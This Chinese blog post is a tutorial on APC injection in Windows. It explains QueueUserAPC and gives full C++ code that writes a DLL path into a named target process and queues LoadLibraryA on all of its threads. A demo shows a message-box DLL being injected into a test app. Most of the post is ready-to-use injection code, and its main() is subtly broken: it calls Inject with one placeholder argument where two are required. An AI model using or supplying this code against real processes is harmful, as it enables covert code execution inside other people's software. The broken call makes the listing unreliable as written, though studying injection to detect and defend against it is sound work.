注入技术-APC注入

本文最后更新于:2021-08-09 晚上

APC注入

APC为异步过程调用,是指函数在特定线程中被异步执行。每一个线程都有自己的APC队列,使用QueueUserAPC函数可以把一个APC函数压入APC队列中,插入LoadLibrary就可以执行DLL。该线程并不会直接调用APC函数,除非该线程处于一个可通知的状态。

函数介绍

QueueUserAPC

将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中。

1
2
3
4
5
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);

pfnAPC:当指定线程执行可警告的等待操作时,指向应用程序提供的APC函数的指针。

hThread:线程的句柄。该句柄必须具有THREAD_SET_CONTEXT访问权限。

dwData:传递由pfnAPC参数指向的APC函数的单个值。

返回值:如果函数成功,则返回值为非0;如果失败,则返回值为0。

具体实现

在Windows系统中,每个线程都会维护一个线程APC队列,通过QueueUserAPC把一个APC函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对于用户模式下的APC队列,当线程处在可警告状态时才会执行这些APC函数。一个线程在内部使用SingalObjectAndWait、SleepEx、WaitForSingleObjectEx等函数把自己挂起时就是进入警告状态,此时便会执行APC队列函数。

具体代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <atlconv.h>
#include <atlstr.h>
DWORD GetPidByName(char* pszProcessName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 PE32 = { sizeof(PE32) };
USES_CONVERSION;
CString ProcessName = A2T(pszProcessName);
BOOL flag = Process32First(hSnap, &PE32);
while (flag) {
if (lstrcmp(PE32.szExeFile, ProcessName) == 0) {
return PE32.th32ProcessID;
}
flag = Process32Next(hSnap, &PE32);
}
return 0;
}
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
printf("申请内存失败\n");
bRet = FALSE;
break;
}
RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}

// 遍历下一个线程快照信息
bRet = Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;

} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
BOOL Inject(char* pszProcessName, char* pszDllname) {
BOOL flag = FALSE;
DWORD dwPID = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadLength = 0;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = strlen(pszDllname) + 1;
DWORD i = 0;
do {
//获取进程的PID
dwPID = GetPidByName(pszProcessName);
if (dwPID == 0) {
printf("获取PID失败\n");
flag = FALSE;
break;
}
//获取所有线程ID
flag = GetAllThreadIdByProcessId(dwPID, &pThreadId, &dwThreadLength);
if (flag == FALSE) {
flag = FALSE;
break;
}
//打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if (hProcess == NULL) {
printf("打开进程失败\n");
flag = FALSE;
break;
}
//申请内存空间
pBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBaseAddress == NULL) {
printf("申请空间失败\n");
flag = FALSE;
break;
}
//向申请的空间写入内存
WriteProcessMemory(hProcess, pBaseAddress, pszDllname, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen) {
printf("写入内存失败\n");
flag = FALSE;
break;
}
pLoadLibraryFunc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL) {
printf("获取loadlibrary地址失败\n");
flag = FALSE;
break;
}
//向所有的线程插入APC函数
for (i = 0; i < dwThreadLength; i++) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread) {
QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)pBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
}
flag = TRUE;
} while (FALSE);
if (hProcess) {
CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId) {
delete[]pThreadId;
pThreadId = NULL;
}
return flag;
}

int main()
{
BOOL flag=Inject("自己的文件路径");
if (flag == TRUE) {
printf("注入成功\n");
}
else
printf("失败\n");
getchar();
return 0;
}


效果查看

写一个MFC的小程序,点击确定按钮之后就会调用SleepEx函数。

1
2
3
4
5
6
void CTestApcDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
SleepEx(10000, true);
//CDialogEx::OnOK();
}

然后打开我们的注入程序,看到提示已经注入成功。

点击确定按钮,就会弹出我们在DLL里写好的弹窗。

使用process explore工具查看可以看到我们的DLL已经注入到TestApc.exe中了。

参考

参考《Windows黑客编程技术详解》一书